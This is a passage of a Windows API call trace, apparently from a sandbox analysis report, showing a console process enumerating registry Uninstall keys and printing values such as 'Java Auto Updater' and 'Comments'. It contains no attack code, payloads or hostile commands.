cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.787] GetConsoleOutputCP () returned 0x1b5 [0149.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.787] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.787] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.787] __iob_func () returned 0x7fefd702a80 [0149.787] _fileno (_File=0x7fefd702ab0) returned 1 [0149.787] _errno () returned 0x204bb0 [0149.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.787] _errno () returned 0x204bb0 [0149.787] GetFileType (hFile=0x50) returned 0x1 [0149.787] lstrlenW (lpString="Java Auto Updater") returned 17 [0149.787] GetConsoleOutputCP () returned 0x1b5 [0149.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Java Auto Updater", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.787] GetConsoleOutputCP () returned 0x1b5 [0149.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Java Auto Updater", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Java Auto Updater", lpUsedDefaultChar=0x0) returned 17 [0149.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.788] __iob_func () returned 0x7fefd702a80 [0149.788] _fileno (_File=0x7fefd702ab0) returned 1 [0149.788] _errno () returned 0x204bb0 [0149.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.788] _errno () returned 0x204bb0 [0149.788] GetFileType (hFile=0x50) returned 0x1 [0149.788] lstrlenW (lpString="\n") returned 1 [0149.788] GetConsoleOutputCP () returned 0x1b5 [0149.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.788] GetConsoleOutputCP () returned 0x1b5 [0149.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.788] GetProcessHeap () returned 0x3c0000 [0149.788] GetProcessHeap () returned 0x3c0000 [0149.788] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.788] GetProcessHeap () returned 0x3c0000 [0149.788] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x28 [0149.788] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.788] __iob_func () returned 0x7fefd702a80 [0149.788] _fileno (_File=0x7fefd702ab0) returned 1 [0149.788] _errno () returned 0x204bb0 [0149.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.789] _errno () returned 0x204bb0 [0149.789] GetFileType (hFile=0x50) returned 0x1 [0149.789] lstrlenW (lpString="\n") returned 1 [0149.789] GetConsoleOutputCP () returned 0x1b5 [0149.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.789] GetConsoleOutputCP () returned 0x1b5 [0149.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.789] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.789] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0149.789] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.789] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.789] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}") returned 121 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.789] GetProcessHeap () returned 0x3c0000 [0149.789] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.790] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.790] GetProcessHeap () returned 0x3c0000 [0149.790] GetProcessHeap () returned 0x3c0000 [0149.790] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.790] GetProcessHeap () returned 0x3c0000 [0149.790] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0149.790] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.790] RegCloseKey (hKey=0x5c) returned 0x0 [0149.790] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1b, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{582EA838-9199-3518-A05C-DB09462F68EC}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.790] __iob_func () returned 0x7fefd702a80 [0149.790] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.790] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\n") returned 122 [0149.790] _fileno (_File=0x7fefd702ab0) returned 1 [0149.790] _errno () returned 0x204bb0 [0149.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.790] _errno () returned 0x204bb0 [0149.790] GetFileType (hFile=0x50) returned 0x1 [0149.790] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\n") returned 122 [0149.790] GetConsoleOutputCP () returned 0x1b5 [0149.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.790] GetConsoleOutputCP () returned 0x1b5 [0149.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\n", lpUsedDefaultChar=0x0) returned 122 [0149.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.791] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.791] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.791] GetProcessHeap () returned 0x3c0000 [0149.791] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0149.791] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.791] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.791] GetProcessHeap () returned 0x3c0000 [0149.791] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.791] GetProcessHeap () returned 0x3c0000 [0149.791] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.791] GetProcessHeap () returned 0x3c0000 [0149.791] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.791] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.791] __iob_func () returned 0x7fefd702a80 [0149.791] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.791] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.791] _fileno (_File=0x7fefd702ab0) returned 1 [0149.791] _errno () returned 0x204bb0 [0149.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.791] _errno () returned 0x204bb0 [0149.791] GetFileType (hFile=0x50) returned 0x1 [0149.791] lstrlenW (lpString=" ") returned 4 [0149.791] GetConsoleOutputCP () returned 0x1b5 [0149.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.791] GetConsoleOutputCP () returned 0x1b5 [0149.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.792] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.792] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.792] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.792] __iob_func () returned 0x7fefd702a80 [0149.792] _fileno (_File=0x7fefd702ab0) returned 1 [0149.792] _errno () returned 0x204bb0 [0149.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.792] _errno () returned 0x204bb0 [0149.792] GetFileType (hFile=0x50) returned 0x1 [0149.792] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.792] GetConsoleOutputCP () returned 0x1b5 [0149.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.792] GetConsoleOutputCP () returned 0x1b5 [0149.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0149.792] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0149.792] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.792] __iob_func () returned 0x7fefd702a80 [0149.792] _fileno (_File=0x7fefd702ab0) returned 1 [0149.792] _errno () returned 0x204bb0 [0149.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.792] _errno () returned 0x204bb0 [0149.792] GetFileType (hFile=0x50) returned 0x1 [0149.793] lstrlenW (lpString=" ") returned 4 [0149.793] GetConsoleOutputCP () returned 0x1b5 [0149.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.793] GetConsoleOutputCP () returned 0x1b5 [0149.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.793] __iob_func () returned 0x7fefd702a80 [0149.793] _fileno (_File=0x7fefd702ab0) returned 1 [0149.793] _errno () returned 0x204bb0 [0149.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.793] _errno () returned 0x204bb0 [0149.793] GetFileType (hFile=0x50) returned 0x1 [0149.793] lstrlenW (lpString="REG_SZ") returned 6 [0149.793] GetConsoleOutputCP () returned 0x1b5 [0149.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.793] GetConsoleOutputCP () returned 0x1b5 [0149.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.794] __iob_func () returned 0x7fefd702a80 [0149.794] _fileno (_File=0x7fefd702ab0) returned 1 [0149.794] _errno () returned 0x204bb0 [0149.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.794] _errno () returned 0x204bb0 [0149.794] GetFileType (hFile=0x50) returned 0x1 [0149.794] lstrlenW (lpString=" ") returned 4 [0149.794] GetConsoleOutputCP () returned 0x1b5 [0149.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.794] GetConsoleOutputCP () returned 0x1b5 [0149.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.794] __iob_func () returned 0x7fefd702a80 [0149.794] _fileno (_File=0x7fefd702ab0) returned 1 [0149.794] _errno () returned 0x204bb0 [0149.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.794] _errno () returned 0x204bb0 [0149.794] GetFileType (hFile=0x50) returned 0x1 [0149.794] lstrlenW (lpString="") returned 0 [0149.794] __iob_func () returned 0x7fefd702a80 [0149.794] _fileno (_File=0x7fefd702ab0) returned 1 [0149.794] _errno () returned 0x204bb0 [0149.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.794] _errno () returned 0x204bb0 [0149.794] GetFileType (hFile=0x50) returned 0x1 [0149.795] lstrlenW (lpString="\n") returned 1 [0149.795] GetConsoleOutputCP () returned 0x1b5 [0149.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.795] GetConsoleOutputCP () returned 0x1b5 [0149.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.795] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.795] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.795] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.795] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.795] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.795] GetProcessHeap () returned 0x3c0000 [0149.795] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0149.795] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0149.795] __iob_func () returned 0x7fefd702a80 [0149.795] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.796] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.796] _fileno (_File=0x7fefd702ab0) returned 1 [0149.796] _errno () returned 0x204bb0 [0149.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.796] _errno () returned 0x204bb0 [0149.796] GetFileType (hFile=0x50) returned 0x1 [0149.796] lstrlenW (lpString=" ") returned 4 [0149.796] GetConsoleOutputCP () returned 0x1b5 [0149.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.796] GetConsoleOutputCP () returned 0x1b5 [0149.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.796] lstrlenW (lpString="Comments") returned 8 [0149.796] __iob_func () returned 0x7fefd702a80 [0149.796] _fileno (_File=0x7fefd702ab0) returned 1 [0149.796] _errno () returned 0x204bb0 [0149.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.796] _errno () returned 0x204bb0 [0149.796] GetFileType (hFile=0x50) returned 0x1 [0149.796] lstrlenW (lpString="Comments") returned 8 [0149.796] GetConsoleOutputCP () returned 0x1b5 [0149.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.796] GetConsoleOutputCP () returned 0x1b5 [0149.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.797] __iob_func () returned 0x7fefd702a80 [0149.797] _fileno (_File=0x7fefd702ab0) returned 1 [0149.797] _errno () returned 0x204bb0 [0149.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.797] _errno () returned 0x204bb0 [0149.797] GetFileType (hFile=0x50) returned 0x1 [0149.797] lstrlenW (lpString=" ") returned 4 [0149.797] GetConsoleOutputCP () returned 0x1b5 [0149.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.797] GetConsoleOutputCP () returned 0x1b5 [0149.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.797] __iob_func () returned 0x7fefd702a80 [0149.797] _fileno (_File=0x7fefd702ab0) returned 1 [0149.797] _errno () returned 0x204bb0 [0149.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.797] _errno () returned 0x204bb0 [0149.797] GetFileType (hFile=0x50) returned 0x1 [0149.797] lstrlenW (lpString="REG_SZ") returned 6 [0149.798] GetConsoleOutputCP () returned 0x1b5 [0149.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.798] GetConsoleOutputCP () returned 0x1b5 [0149.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.798] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.798] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.798] __iob_func () returned 0x7fefd702a80 [0149.798] _fileno (_File=0x7fefd702ab0) returned 1 [0149.798] _errno () returned 0x204bb0 [0149.798] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.798] _errno () returned 0x204bb0 [0149.798] GetFileType (hFile=0x50) returned 0x1 [0149.798] lstrlenW (lpString=" ") returned 4 [0149.798] GetConsoleOutputCP () returned 0x1b5 [0149.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 